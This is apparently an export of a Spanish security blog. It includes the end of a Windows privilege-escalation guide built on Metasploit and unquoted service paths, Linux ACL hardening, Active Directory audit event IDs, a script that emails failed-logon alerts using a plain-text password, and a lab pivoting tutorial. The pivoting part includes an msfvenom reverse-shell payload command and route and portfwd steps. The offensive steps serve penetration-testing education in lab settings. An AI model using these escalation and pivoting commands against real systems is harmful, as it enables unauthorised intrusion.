podemos comparar el resultado del fichero guardado anteriormente con una base de datos xls actualizada. https://github.com/AonCyberLabs/Windows-Exploit-Suggester A partir del fichero que contiene el resultado del systeminfo, nos mostrará aquellas actualizaciones de seguridad que podremos explotar y que no estarían instaladas en la máquina comprometida. A parte del código de la propia vulnerabilidad, nos mostrará una breve descripción de lo que hace, su nivel de criticidad y los enlaces al boletín de seguridad de MS para obtener más detalles y/o enlaces al propio exploit en exploit-db.com. Para reconocer las vulnerabilidades Windows Exploit Suggester emplea la siguiente tipificación: [*] Falta la actualización. [M] Existe un módulo en Metasploit. [E] Existe un exploit público que no está incorporado o importado en Metasploit. Es totalmente recomendable que revisemos los expedientes o boletines de seguridad oficiales para entender lo que vamos a explotar, no tendría sentido empezar a probar exploits a lo loco porque seguramente perderíamos el control del proceso del test de intrusión. Una vez descargado el script del repositorio de Github, actualizamos la base de datos. Se nos descargará un fichero en local con extensión xls o xlsx. ./windows-exploit-suggester.py --update Ejecutamos el script indicándole la base de datos y el fichero almacenado que habíamos guardado con la información en plano del resultado de ejecutar el comando systeminfo. python windows-exploit-suggester.py -d BASE_DE_DATOS.xlsx -i FICHERO_SYSTEMINFO Figura 11: Windows Exploit Suggester - Resultado de posibles actualizaciones explotables en base al fichero systeminfo. En este ejemplo haremos uso de la vulnerabilidad MS14_058 que ya dispone de un módulo integrado en Metasploit. Recogida en la base de conocimiento KB3000061, código CVE-2014-4113 reconocida con un CVSS de 7.2. Exploit de Metasploit disponible en https://www.exploit-db.com/exploits/35101. Figura 12: Vulnerabilidad MS14-058 incorpora un módulo en Metasploit. Una vez identificada la vulnerabilidad que vamos a utilizar y que sabemos que ya dispone de un módulo en Metasploit que nos abstraerá de los detalles para explotarla. La buscamos usando el comando \u0026ldquo;search MSxx-xxx\u0026rdquo; y encontramos el módulo correspondiente llamado exploit/windows/local/ms14_058_track_popup_menu. Usamos el módulo, lo configuramos estableciendo la sesión, un payload tipo meterpreter/reverse_tcp y lo ejecutamos. Si hemos tenido éxito se establecerá una nueva sesión con un meterpreter, si comprobamos el id de usuario podemos ver que ya tenemos el token de NT AUTHORITY\\SYSTEM. Si dejamos la sesión en background veremos que tenemos dos sesiones con meterpreter establecidas, la inicial del usuario sinPrivilegio y esta última obtenida con SYSTEM. Figura 13: Escalada de privilegios de 0 a SYSTEM obteniendo una sesión meterpreter aprovechándose de la vulnerabilidad MS14-058. Servicios vulnerables por malas configuraciones Link to heading Algunos ejemplos aprovechándose de pequeños tricks en errores de configuración de servicios. Service Permissions Cuando un binario invoca a un servicio este se convierte en un proceso. Puede darse el caso por el diseño o desarrollo de dicho servicio que en la carpeta donde se aloja dicho binario los permisos no sean suficientemente restrictivos un usuario puede modificar una dll o incluso el propio binario (siempre y cuando no esté en ejecución), entonces en el momento de volver a iniciar el servicio este llamará a ese binario no legítimo que hubiésemos \u0026ldquo;suplantado\u0026rdquo; y lo ejecutará. Metasploit dispone de un módulo llamado exploit/windows/local/service_permissions que lo que hace es automatizar la búsqueda. Lista todos los servicios y busca si los permisos de los directorios donde se alojan sus binarios son adecuados para poder ser utilizados por un usuario y poder modificarlos. Trusted Service Path (rutas absolutas con espacios en blanco sin entrecomillar) Existe otro módulo en Metasploit llamado exploit/windows/local/trusted_service_path. Lista las rutas de los binarios que son ejecutados por los servicios de Windows con el objetivo de encontrar rutas que vayan sin comillas (C:\\path... vs. C:\\path\\...). Prácticamente todos los servicios se inician o detienen a través de un binario exe ya sea invocándolo directamente o con algún argumento adicional. Figura 14: Docs Microsoft - Parámetro lpBinaryPathName en la API de Windows CreateService de Advapi32.dll. Esto quiere decir que si tenemos una ruta absoluta sin entrecomillar que contenga algún espacio en blanco por ejemplo C:\\Program Files\\hello.exe, por defecto la API de Windows en su función \u0026ldquo;CreateService\u0026rdquo; de Advapi32.dll si existe una separación, espacio en blanco en la ruta, no la interpreta correctamente por lo que intentará encontrar el binario correspondiente en cada espacio en blanco hasta que finalmente ejecute el binario necesario para iniciar el servicio. Siguiendo el ejemplo anterior sería C:\\Program.exe si lo encuentra lo ejecuta sino lo encuentra seguirá hasta encontrarlo. Será en esos casos donde aprovecharemos para cargar el payload (shellcode) y que sea ejecutado, consiguiendo una sesión en un contexto elevado ya que estos binarios de servicios cuando son iniciados tienen una integridad de SYSTEM. Si ya tenemos una sesión Meterpreter establecida con un usuario regular del sistema podemos ejecutar load powershell para cargar el módulo de Powershell e importar el siguiente código ya sea copiando y pegando directamente en una powershell_shell o a través de powershell_import la siguiente función. $servicios = Get-WmiObject -Class win32_service foreach ($elemento in $servicios) { if ( (!$elemento.PathName.Equals(\u0026#34;\u0026#34;)) -and (!$elemento.PathName.Startswith(\u0026#34;`\u0026#34;\u0026#34;)) -and ($elemento.pathname -ne $null)) { $binario = $elemento.PathName.Split(\u0026#34; \u0026#34;)[0] if ((!$binario.Contains(\u0026#34;:\\Windows\u0026#34;))) { $elemento.PathName $elemento.Name $elemento.Status Write-Output \u0026#34;----------`n\u0026#34; } } } Esto nos permitirá listar aquellos servicios mal configurados en sus paths sin entrecomillar, generar un binario con msfvenom con un payload de Meterpreter por ejemplo y subirlo a través del comando upload a la máquina remota con la finalidad de sustituirlo y ponernos a la escucha con el handler de conexiones (exploit/multi/handler). De modo que cuando se arranque el servicio nuevamente lo hará a través del usuario NT AUTHORITY\\SYSTEM consiguiendo así una nueva sesión Meterpreter con el mayor privilegio. Saludos! "},{"title":"Hardening Linux: ACLs en directorios y ficheros (setfacl y getfacl)","url":"/posts/hardening-linux-acls-setfacl-getfacl/","summary":"Las ACL en Linux son, como en cualquier otro sistema operativo, listas de control de acceso (Access Control List) que nos permiten especificar a qué usuarios, grupos o procesos del sistema se les …","tags":["Hardening","Blue Team","ACLs","Permisos"],"date":"2020-02-12","content":"Las ACL en Linux son, como en cualquier otro sistema operativo, listas de control de acceso (Access Control List) que nos permiten especificar a qué usuarios, grupos o procesos del sistema se les otorga unos permisos específicos a los objetos, como pueden ser directorios o ficheros del sistema. Por defecto en los sistemas de ficheros ext* las ACL ya se encuentran habilitadas. Existen dos comandos para su gestión: getfacl: Muestra información de los permisos de ficheros y carpetas. setfacl: Establece o modifica las ACL de dichos ficheros y carpetas. Para conocer el detalle de los argumentos disponibles tanto en getfacl como setfacl podemos consultar su ayuda con man. Para entender mejor su funcionamiento pondré un escenario muy sencillo como ejemplo. Escenario Link to heading Estructura de directorios: ├── Común ├── Pepe └── Juan Con los siguientes usuarios y grupos: Usuarios: Pepe, Juan Grupo: Compartido # tail -n 2 /etc/passwd Pepe:x:1003:1003::/home/Pepe:/bin/bash Juan:x:1004:1004::/home/Juan:/bin/bash Maria:x:1005:1005::/home/Maria:/bin/bash # tail -n 3 /etc/group Compartido:x:1000:Pepe,Juan Pepe:x:1003: Juan:x:1004: Maria:x:1005: ¿Qué tipo de permisos se deberían aplicar en este escenario? Link to heading 1. Cada usuario puede acceder a su carpeta con permisos de lectura, escritura y ejecución. 2. Pepe no tendrá ningún tipo de permisos en la carpeta de Juan. Sin embargo, Juan solo tendrá acceso de lectura sobre la carpeta de Pepe. 3. Todos los usuarios pertenecen al grupo llamado \u0026ldquo;Compartido\u0026rdquo;, este grupo tendrá acceso total al directorio \u0026ldquo;Común\u0026rdquo;. 4. Cualquier otro usuario creado en el sistema (Maria) no podrá acceder a ningún recurso. Excepto el usuario root, que sí tendrá acceso total para poder modificar permisos y administración de los recursos. Establecemos los permisos basados en ACLs Link to heading # ls -lh total 12K drwxr-xr-x 2 root root 4.0K Feb 12 17:53 Común drwxr-xr-x 2 root root 4.0K Feb 12 17:53 Juan drwxr-xr-x 2 root root 4.0K Feb 11 23:13 Pepe # setfacl -m o::--- Común/ ; setfacl -m o::--- Pepe/ ; setfacl -m o::--- Juan/ # setfacl -m g:Compartido:rwx Común/ # setfacl -m u:Juan:rwx Juan/ ; setfacl -m u:Pepe:--- Juan/ # setfacl -m u:Pepe:rwx Pepe/ ; setfacl -m u:Juan:r-- Pepe/ Después de establecer las ACLs podemos apreciar que al listar los directorios en formato lista se añade un nuevo signo \u0026ldquo;+\u0026rdquo; en los permisos de Unix, esto nos indica que ese directorio o fichero tiene más información sobre permisos y que podemos ver con getfacl. # ls -lh total 12K drwxr-xr-x+ 2 root root 4.0K Feb 12 17:53 Común drwxr-xr-x+ 2 root root 4.0K Feb 12 17:53 Juan drwxr-xr-x+ 2 root root 4.0K Feb 11 23:13 Pepe # getfacl * # file: Común # owner: root # group: root user::rwx group::--- group:Compartido:rwx mask::rwx other::--- # file: Juan # owner: root # group: root user::rwx user:Pepe:--- user:Juan:rwx group::--- mask::rwx other::--- # file: Pepe # owner: root # group: root user::rwx user:Pepe:rwx user:Juan:r-- group::--- mask::rwx other::--- Comprobamos que las reglas se establecieron correctamente Link to heading Usuario Pepe root@rpi:~# su - Pepe Pepe@rpi:~$ cd /Recursos/ Pepe@rpi:/Recursos$ touch Pepe/test-pepe Pepe@rpi:/Recursos$ touch Juan/test-pepe touch: cannot touch \u0026#39;Juan/test-pepe\u0026#39;: Permission denied Pepe@rpi:/Recursos$ ls Juan/ ls: cannot open directory \u0026#39;Juan/\u0026#39;: Permission denied Pepe@rpi:/Recursos$ touch Común/test-pepe Pepe@rpi:/Recursos$ tree -pugh . ├── [drwxrwx--- root root 4.0K] Común │ └── [-rw-rw-r-- Pepe Pepe 0] test-pepe ├── [drwxrwx--- root root 4.0K] Juan [error opening dir] └── [drwxrwx--- root root 4.0K] Pepe └── [-rw-rw-r-- Pepe Pepe 0] test-pepe 3 directories, 2 files Usuario Juan root@rpi:~# su - Juan Juan@rpi:~$ cd /Recursos/ Juan@rpi:/Recursos$ touch Juan/test-juan Juan@rpi:/Recursos$ touch Pepe/test-juan touch: cannot touch \u0026#39;Pepe/test-juan\u0026#39;: Permission denied Juan@rpi:/Recursos$ ls Pepe/ ls: cannot access \u0026#39;Pepe/test-pepe\u0026#39;: Permission denied test-pepe Juan@rpi:/Recursos$ touch Común/test-juan Juan@rpi:/Recursos$ tree -pugh . ├── [drwxrwx--- root root 4.0K] Común │ ├── [-rw-rw-r-- Juan Juan 0] test-juan │ └── [-rw-rw-r-- Pepe Pepe 0] test-pepe ├── [drwxrwx--- root root 4.0K] Juan │ └── [-rw-rw-r-- Juan Juan 0] test-juan └── [drwxrwx--- root root 4.0K] Pepe [error opening dir] 3 directories, 3 files Usuaria Maria root@rpi:~# su - Maria Maria@rpi:~$ cd /Recursos/ Maria@rpi:/Recursos$ touch Común/test-maria touch: cannot touch \u0026#39;Común/test-maria\u0026#39;: Permission denied Maria@rpi:/Recursos$ touch Pepe/test-maria touch: cannot touch \u0026#39;Pepe/test-maria\u0026#39;: Permission denied Maria@rpi:/Recursos$ touch Juan/test-maria touch: cannot touch \u0026#39;Juan/test-maria\u0026#39;: Permission denied Maria@rpi:/Recursos$ ls Común/ ; ls Pepe/ ; ls Juan/ ls: cannot open directory \u0026#39;Común/\u0026#39;: Permission denied ls: cannot open directory \u0026#39;Pepe/\u0026#39;: Permission denied ls: cannot open directory \u0026#39;Juan/\u0026#39;: Permission denied Maria@rpi:/Recursos$ tree -pugh . ├── [drwxrwx--- root root 4.0K] Común [error opening dir] ├── [drwxrwx--- root root 4.0K] Juan [error opening dir] └── [drwxrwx--- root root 4.0K] Pepe [error opening dir] 3 directories, 0 files Backups de las ACLs de directorios o ficheros Link to heading Algo interesante es que podemos realizar backups y restauraciones de los permisos ACLs. Siguiendo el escenario anterior. Para exportar las ACLs del directorio de Juan, usamos el argumento -R. getfacl -R Juan/ \u0026gt; backup-acl-Juan.txt Para realizar una restauración de las ACLs del directorio de Juan, usamos el argumento \u0026ndash;restore=directorio/fichero. setfacl --restore=backup-acl-Juan.txt Esto solamente es un ejemplo muy básico con la idea de mostrar su uso. Lo ideal es aplicarlo en aquellos directorios/ficheros que sabemos que solo deberían acceder determinados usuarios, con el fin de ir fortificando y endureciendo la seguridad en los sistemas de ficheros de nuestros entornos Linux. Saludos! "},{"title":"Active Directory: auditar cambios en cuentas de usuario (ID de eventos)","url":"/posts/active-directory-auditar-cambios-en-cuentas-de-usuario-id-de-eventos/","summary":"Para poder auditar la creación y cambios de cuentas de usuarios de Active Directory debemos establecer esta política a nivel de dominio en la plantilla Default Domain Controllers Policy situada en …","tags":["Blue Team","Threat Hunting","Active Directory","Event Logs","GPO","DFIR","IoA"],"date":"2020-02-09","content":"Para poder auditar la creación y cambios de cuentas de usuarios de Active Directory debemos establecer esta política a nivel de dominio en la plantilla Default Domain Controllers Policy situada en Objetos de directiva de grupo. La editamos y configuramos: Configuración del equipo \u0026gt; Directivas \u0026gt; Configuración de Windows \u0026gt; Configuración de seguridad \u0026gt; Directivas locales \u0026gt; Directiva de auditoría Habilitamos \u0026ldquo;Auditar la administración de cuentas\u0026rdquo; en intentos Correcto y Error. Figura 1: Habilitar la auditoría de administración de cuentas en la plantilla \u0026ldquo;Default Domain Controllers Policy\u0026rdquo;. Si también queremos que se realice auditoría de la administración de cuentas locales en cualquier equipo unido al dominio, que no sean cuentas Active Directory. Debemos aplicar esta política a nivel de dominio dentro de la plantilla Default Domain Policy. Los ID de eventos que nos interesan para este caso son sobre la creación de nuevas cuentas de usuarios de Active Directory. Event ID Descripción 4720 Se creó una cuenta de usuario 4722 Se habilitó una cuenta de usuario 4724 Se intentó restablecer la contraseña de una cuenta 4738 Se cambió una cuenta de usuario En el visor de eventos (eventvwr.msc) de un controlador de dominio, registros de Windows \u0026gt; Seguridad. Creamos un filtro por los ID que nos interesen, separado por comas si queremos buscar más de un número de ID distinto. En la siguiente captura se puede ver un ejemplo de un ID 4722, como se habilitó una nueva cuenta en Active Directory, más arriba tendríamos el ID 4720 donde se creó dicha cuenta. Figura 2: Filtrar por ID de eventos para encontrar la creación de nuevas cuentas de usuario de Active Directory. Saludos! "},{"title":"Auditar inicios de sesión erróneos (ID 4625) y notificar vía email","url":"/posts/auditar-inicios-sesion-erroneos-id-4625-email/","summary":"Una forma de auditar los errores de accesos de inicio de sesión o login a un sistema Windows ya sean accesos físicos, en remoto mediante RDP, recursos compartidos CIFS o llamadas a procedimientos …","tags":["Blue Team","Threat Hunting","PowerShell","Event Logs","RDP","IoA"],"date":"2020-01-18","content":"Una forma de auditar los errores de accesos de inicio de sesión o login a un sistema Windows ya sean accesos físicos, en remoto mediante RDP, recursos compartidos CIFS o llamadas a procedimientos remotos RPC como pueden ser el acceso a consolas msc de equipos remotos. Se considerarán inicios de sesión en una máquina Windows. Este artículo se centrará en la auditoría de todos los accesos erróneos de login a un sistema pero en especial irá enfocado a los intentos de inicios de sesión RDP desde equipos remotos y la notificación de este evento vía un mensaje de correo electrónico de forma automática. Para ello será necesario habilitar en el equipo la directiva local de auditoría de eventos de inicio de sesión a través de la consola gpedit.msc. Configuración del equipo \u0026gt; Configuración de Windows \u0026gt; Configuración de seguridad \u0026gt; Directivas locales \u0026gt; Directiva de auditoría \u0026gt; Auditar eventos de inicio de sesión \u0026gt; Habilitar inicios erróneos. Figura 1: gpedit.msc - Auditar eventos de inicio de sesión erróneos. Abrimos el visor de eventos (eventvwr.msc), registros de Windows, Seguridad. El evento con Id. 4625 registra las auditorías por inicios de sesión erróneos. Creamos una tarea programada desde cualquier evento con ese Id. y establecemos un fichero .bat que llamará a otro fichero Powershell .ps1 que será el que realice el envío de email y lo filtre con una consulta para que nos devuelva el último evento registrado. Este punto lo veremos más adelante. Figura 2: eventvwr.msc - Creación de tarea programada de un evento con un Id. concreto. En el programador de tareas (taskschd.msc) vemos que se crea una nueva sección para las tareas creadas a través del visor de eventos. Esta tarea debe ejecutarse con un usuario que forma parte del grupo de administradores locales del sistema ya que para poder consultar un evento de auditoría del tipo de \u0026ldquo;Seguridad\u0026rdquo; como es un evento con Id. 4625 es necesario un usuario privilegiado. Figura 3: taskschd.msc - Tarea programada creada automáticamente a partir del evento de seguridad con Id. 4625. Comentar que podemos también optar por crear y configurar la tarea programada manualmente. Como desencadenador elegimos iniciar la tarea al producirse un evento del tipo de registro \u0026ldquo;Seguridad\u0026rdquo; e indicamos el Id. del evento 4625. Figura 4: Desencadenador de la tarea programada al producirse un evento del tipo seguridad con Id. 4625. wevtutil (Windows Event Utility) es la utilidad en línea de comandos que nos mostrará la información de los eventos registrados de Windows. Para mostrar el último evento registrado del tipo Seguridad con un Id. específico, en este caso 4625. Haremos la siguiente consulta: wevtutil query-events Security /count:1 /rd:true /format:text /q:\u0026#34;Event[System[(EventID=4625)]]\u0026#34; La siguiente línea corresponderá al fichero call-ps1-eventvwr-id_4625.bat que hará la llamada al fichero Powershell id_4625.ps1. Este fichero bat será la acción de la tarea programada. powershell.exe -file \u0026#34;C:\\scripts\\envio_emails_eventvwr\\id_4625.ps1\u0026#34; El script Powershell id_4625.ps1 sería el siguiente, modificamos con nuestros valores los campos myEmail, myPassword y pathTempWevtutil será el path en el que se creará un fichero temporal con la salida de la consulta del evento, después se borrará. Credenciales en texto plano Este script guarda $passwdEmail = \u0026quot;myPassword\u0026quot; directamente en el .ps1 y depende de habilitar \u0026ldquo;Aplicaciones poco seguras\u0026rdquo; en Gmail (función retirada por Google en 2022). En cualquier entorno real, sustituye por un secreto en SecureString exportado a fichero o, mejor, App Password / OAuth2 con un servicio de correo que los soporte. $usuarioEmail = \u0026#34;myEmail@gmail.com\u0026#34; $passwdEmail = \u0026#34;myPassword\u0026#34; $pathTempWevtutil = \u0026#34;C:\\temp\\temp_wevtutil\u0026#34; $secPasswdEmail = ConvertTo-SecureString $passwdEmail -AsPlainText -Force $credencialesEmail = New-Object System.Management.Automation.PSCredential ($usuarioEmail, $secPasswdEMail) $asuntoEmail = \u0026#34;ID 4625: Inicio de sesion incorrecto\u0026#34; $wevtutil = wevtutil query-events Security /count:1 /rd:true /format:text /q:\u0026#34;Event[System[(EventID=4625)]]\u0026#34; | findstr /V \u0026#34;puerto\u0026#34; | findstr \u0026#34;cuenta: trabajo: Direcci\u0026#34; \u0026gt; \u0026#34;$pathTempWevtutil\u0026#34; $cuerpoEmail = Get-Content \u0026#34;$pathTempWevtutil\u0026#34; -Tail 5 | Out-String Send-MailMessage -From $usuarioEmail -To $usuarioEmail -Subject \u0026#34;$asuntoEmail\u0026#34; -Body \u0026#34;$cuerpoEmail\u0026#34; -SmtpServer \u0026#34;smtp.gmail.com\u0026#34; -Port \u0026#34;587\u0026#34; -UseSsl -Credential $credencialesEmail Remove-Item -Path \u0026#34;$pathTempWevtutil\u0026#34; -Force exit Para habilitar el envío de correos SMTP a través de una cuenta con dominio Gmail será necesario habilitar el \u0026ldquo;Acceso de aplicaciones poco seguras\u0026rdquo;. https://myaccount.google.com/lesssecureapps. Esto tiene ciertos riesgos de seguridad, aconsejo crear una nueva cuenta de correo específica destinada para este uso y la realización de esta tarea. En la siguiente captura se muestra un ejemplo del asunto y cuerpo del correo para la notificación de estos eventos. Mostrando el nombre de la cuenta desde la que se está intentando iniciar sesión, el dominio o hostname, hacia qué dirección IP se inició sesión (sería la máquina local donde se registra el evento de seguridad) y desde qué dirección origen ya sea una dirección IP privada o pública. Figura 5: Ejemplo de mensaje de correo del evento de seguridad Id. 4625. Repositorio Github: https://github.com/adrianlois/Auditar-inicios-sesion-erroneos-RDP-envio-email-PowerShell Saludos! "},{"title":"Pivoting con Metasploit: route, portfwd y portproxy","url":"/posts/pivoting-con-metasploit-route-portfwd-y-portproxy/","summary":"En las primeras fases de escaneo de un pentesting debemos intentar recopilar la mayor cantidad de información posible sobre las redes internas disponibles en la empresa.\nMuchas organizaciones dividen …","tags":["Pentesting","Post-Explotación","Pivoting","Port Forwarding","Redes","Network Scan","Metasploit"],"date":"2020-01-07","content":"En las primeras fases de escaneo de un pentesting debemos intentar recopilar la mayor cantidad de información posible sobre las redes internas disponibles en la empresa. Muchas organizaciones dividen sus departamentos en segmentos de red o redes locales virtuales (VLANs), donde se alojan determinadas máquinas, en muchos casos los equipos que forman parte de una red tienen configuradas varias interfaces ya sean físicas o lógicas hacia estas otras redes. En este tipo de circunstancias podemos aprovecharnos de esto para pivotar entre equipos de distintas redes y poder encontrar uno o varios equipos ya sean clientes o servidores con posibles vulnerabilidades explotables. Para poner en práctica estas técnicas realizaremos un taller completo en el que mostraremos dos escenarios muy similares: lab 1 y lab 2, con el fin de que se vea el concepto de pivoting entre máquinas que formen parte de otras redes distintas en las que desde un principio no tendríamos una visibilidad directa hacia ellas desde la máquina en la que realizamos la auditoría del test de intrusión. El nivel de pivoting de estos escenarios será simple, de un solo salto, entre una máquina comprometida a otra. Dependiendo la topología de red de la organización se podría complicar más, con más saltos entre máquinas para ir descubriendo las posibles redes internas existentes, pero la finalidad, el concepto y las técnicas de pivoting seguirían siendo las mismas. Diagrama de red: Lab 1 - route y portfwd Link to heading En el siguiente escenario se mostrará un entorno formado por tres máquinas: Kali: 10.0.0.1/24. (Máquina A) Ubuntu: 10.0.0.10/24 y 11.0.0.1/24. (Máquina B) Linux (Apache http): 11.0.0.10/24. (Máquina C) Figura 1: Escenario 1 de Pivoting, diagrama de redes (route y portfwd). Adjunto unas capturas simplemente para mostrar de forma más clara el escenario. La máquina Kali con Metasploit Framework será desde donde realizaremos la intrusión. Tiene dos interfaces de red, una en modo NAT (eth1 simplemente para tener salida a Internet) y eth0 con la IP asignada 10.0.0.1 que forma parte de la red 10.0.0.0/24. Esta máquina no tiene visibilidad directa con la segunda red 11.0.0.0/24. Figura 2: Configuración de red - Máquina Kali. La máquina Ubuntu tiene dos interfaces la cual tiene visibilidad con la red 10.0.0.0/24 y 11.0.0.0/24 será el pivoting y la segunda máquina Linux con una sola interface con la ip asignada 11.0.0.10 que tendrá visibilidad para la red 11.0.0.0/24, esta será una posible máquina vulnerable ya que dispondrá de un servicio web Apache a la que tendremos que intentar llegar desde la máquina Kali. Figura 3: Configuración de red - Máquinas Ubuntu y Linux. Establecer una sesión Meterpreter en la máquina Ubuntu (pivoting) Link to heading El funcionamiento de los tipos de pivoting dentro de las posibilidades que nos ofrece Metasploit Framework debemos partir de la obtención de una sesión Meterpreter en uno de los equipos de la red, en este caso será el Ubuntu en el cual tiene visibilidad con las dos redes dentro de este laboratorio, esta será la máquina que nos hará de pivoting a las redes que tenga configuradas. Para este escenario podemos generar con msfvenom un payload en el que su shellcode será un meterpreter linux y ejecutarlo en la máquina remota para obtener dicha sesión. msfvenom -p Linux/x86/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f elf -b \u0026#39;\\x00\\x0a\\x0d\u0026#39; -o payload -b \u0026lsquo;\\x00\\x0a\\x0d\u0026rsquo;: (\u0026ndash;bad-chars) Parámetro en el que se le puede especificar una lista de caracteres a evitar, de modo que no provoque un posible error en el momento de ejecutar el payload. En este caso estos opcodes serían válidos. Figura 4: Generar payload para obtener una sesión meterpreter en la máquina Ubuntu (pivoting). Una vez ejecutado el payload en la máquina Ubuntu, vemos como se creó una nueva sesión con un meterpreter de conexión inversa en el puerto 4444 hacia la máquina Kali. Figura 5: Sesión con meterpreter establecida entre las máquinas Ubuntu y Kali. Route Link to heading Una vez tenemos una sesión establecida con la máquina Ubuntu, iniciamos el meterpreter y una forma de comprobar las redes asociadas es listar las interfaces de red con ipconfig para comprobar si existe alguna dirección IP asignada que forme parte de otro segmento de red distinto. También podríamos ejecutar una shell dentro de meterpreter y consultar la tabla de rutas con el comando route print. Como vemos se muestra la red 10.0.0.0/24 en la interface 2 y la 11.0.0.0/24 en la interface 3. Figura 6: Comprobando si existen más redes asociadas en la máquina Ubuntu. Route es un comando que nos permitirá encaminar tráfico de red dentro de Metasploit, diciéndole que desde cualquier módulo todo el tráfico que queramos llevar hacia otra red lo haga a través del identificador de una sesión establecida que tengamos activa, por ejemplo con un Meterpreter. Salimos de la sesión de meterpreter y la dejamos en segundo plano saliendo con el comando background. Fuera de meterpreter y sabiendo que la máquina Ubuntu tiene dos redes configuradas, hacemos uso del comando route para añadir la visibilidad de esta nueva red a nivel de Metasploit. route add \u0026lt;network\u0026gt; \u0026lt;netmask\u0026gt; \u0026lt;session_id\u0026gt; route add 11.0.0.0 255.255.255.0 1 Con esto le estaremos diciendo que todo el tráfico que se produzca dentro de Metasploit con destino a la red 11.0.0.0/24 lo enrute a través de la sesión con ID 1 donde está el meterpreter. Con route print dentro de Metasploit podemos ver las rutas asignadas y con route -h veremos la ayuda completa. Figura 7: Añadiendo nuevas rutas con route en Metasploit. De esta forma ya podremos pivotar a través de la máquina Ubuntu a la red 11.0.0.0/24 realizando un escaneo completo hacia esa red. En el siguiente ejemplo y para ahorrar tiempo en esta demo delimitaremos un pool de direcciones IP de la red 11.0.0.0/24 comprobando únicamente el puerto 80. Vemos que encontramos una dirección 10.0.0.10 que tiene el puerto 80 abierto. En un descubrimiento habitual podríamos usar el módulo auxiliary/scanner/discovery/arp_sweep para encontrar hosts activos en la red local a través de solicitudes arp y también auxiliary/scanner/portscan/ack para comprobar qué puertos se están filtrando. Figura 8: Pivotando para descubrir nuevos hosts y puertos de otra red a través de Metasploit. Con lo anterior ya se demostró que podemos realizar un sondeo y tener acceso a redes pivotando a través de la máquina Ubuntu donde tenemos la sesión meterpreter hacia una máquina Linux con la ip 11.0.0.10. Ya hemos descubierto que el puerto 80 está abierto por lo que es probable que se trate de un servicio web, podemos ahora comprobar la versión de ese servicio http a través del módulo auxiliary/scanner/http/http_version. A partir de ahí podríamos buscar en Internet si existe alguna vulnerabilidad conocida y explotable para esa versión y continuar el test de intrusión. Figura 9: Reconocimiento de versión de servicios web. Autoroute (Módulo post) Link to heading Otra forma de establecer rutas es hacerlo de forma automática. Una vez que tenemos una sesión establecida podemos hacer uso del módulo post/multi/manage/autoroute, establecemos el ID de sesión y lo ejecutamos. Esto hará un barrido en el equipo donde tenemos establecida la sesión para intentar reconocer otras redes asociadas a esa máquina y las agregará automáticamente a nuestra tabla de rutas de Metasploit. Es lo mismo que lo comentado anteriormente pero de forma automática sin necesidad de consultar manualmente a través de meterpreter las tablas de rutas asociadas a la máquina comprometida. Figura 10: Usando el módulo de Autoroute para agregar rutas automáticamente en Metasploit. portfwd (Port Forwarding) Link to heading portfwd realiza un reenvío de puertos -port forwarding- entre máquinas. Podemos canalizar todo el tráfico que enviamos a un puerto local a la escucha de nuestra máquina A a un puerto e IP de una máquina C en la que no tenemos a priori conectividad, configurando esta IP y puerto de reenvío en una máquina B en la que si tenemos una conectividad directa. Una ventaja de esto es que todas las peticiones que hagamos al puerto local de la máquina A esta las reenviará a la máquina C pasando por la máquina B, si analizamos el tráfico desde la máquina C veremos que esas peticiones llegan desde la máquina B y no desde la máquina A que inicialmente origina las peticiones. Como esto en un primer momento puede resultar un poco confuso mostraremos un ejemplo. Basándonos en el mismo escenario visto hasta ahora lab 1. Desde la máquina Kali (máquina A) nos intentamos conectar a la máquina Linux al puerto 22 (máquina C), que sabemos que está abierto, y vemos que no podemos conectarnos directamente ya que desde la máquina Kali no tenemos visibilidad hacia la red 11.0.0.0/24. Sin embargo desde la sesión 1 donde tenemos nuestro meterpreter de la máquina Ubuntu (máquina B) esta sí tiene visibilidad con la red 11.0.0.0/24 donde está la máquina Linux (máquina C). Desde el meterpreter de la sesión 1 agregamos una nueva regla de reenvío de puertos. portfwd add -l \u0026lt;local_port\u0026gt; -p \u0026lt;remote_port\u0026gt; -r \u0026lt;remote_host\u0026gt; portfwd add -l 9500 -p 22 -r 11.0.0.10 Con esto indicamos que todas las peticiones que hagamos al puerto local de la máquina A Kali sean reenviadas al puerto 22 de la ip 11.0.0.10 que será la máquina C Linux. Siendo la máquina B Ubuntu quien haga el reenvío de puertos entre la máquina A y C. De ahí que todo el tráfico que llegue a la máquina C Linux es como si lo realizase la máquina B Ubuntu cuando en realidad lo envía la máquina A Kali. Comprobando nuevamente el intento de conexión vemos como ahora desde Metasploit Framework como desde la propia máquina local Kali podemos llegar a la máquina C Linux estableciendo una conexión localhost hacia el puerto local a la escucha. Si listamos los puertos a la escucha de la máquina local vemos como fuera del MSF tenemos el puerto 9500 a la escucha. Esto puede ser útil en los casos en los que necesitemos utilizar servicios web u otras herramientas fuera de Metasploit para poder escanear, vulnerar o realizar acciones hacia una máquina remota en la que no tendríamos un acceso directo pero sí conocemos su IP y puerto y tenemos una máquina que usaremos de pivoting en medio de la comunicación para realizar los reenvíos de puertos. Tener en cuenta que podemos agregar más de una regla port forwarding. Figura 11: portfwd - Uso de port forwarding fuera de Metasploit, usando una sesión meterpreter para reenvío de peticiones. La forma de usar módulos dentro de Metasploit con reglas configuradas de reenvío de puertos es solamente por medio de conexiones locales (ip y puerto local). En el siguiente ejemplo se muestran dos reglas port forwarding establecidas en la sesión 1 (máquina B Ubuntu), la segunda regla indica que las peticiones que se realicen hacia el puerto 9000 desde cualquier interface de la máquina Kali A se reenvíen a través de la sesión 2 (máquina B Ubuntu) hacia la IP destino 11.0.0.10 puerto 80 que será la máquina C Linux. RHOST: será la dirección local de la máquina A Kali, ip 127.0.0.1 (y no la ip 11.0.0.10 de la máquina destino C Linux). PORTS: será el puerto local a la escucha en la máquina A Kali, puerto 9000 (y no el puerto 80 de la máquina destino C Linux). Vemos como nos indica que el puerto 9000 de la ip 127.0.0.1 está Open. Esto significa que la regla de reenvío funcionó y que realmente esa IP/Puerto local corresponderían a la IP/Puerto destino configurado en la regla del portfwd. Fuera de Metasploit podemos consultar los puertos a la escucha con netstat y comprobar que tanto el puerto 9500, visto en el ejemplo anterior, como el puerto 9000 están a la escucha por un proceso ruby que sería Metasploit. Figura 12: portfwd - Usando port forwarding a través de módulos en Metasploit. ¿Diferencias entre route y portfwd en Metasploit? Link to heading Route y Autoroute Es necesario tener una sesión establecida. Agrega direcciones de red completas indicando su notación CIDR. Las tablas de rutas solo se agregan a nivel funcional de Metasploit Framework. Dentro de Metasploit se pueden usar todos los módulos de forma 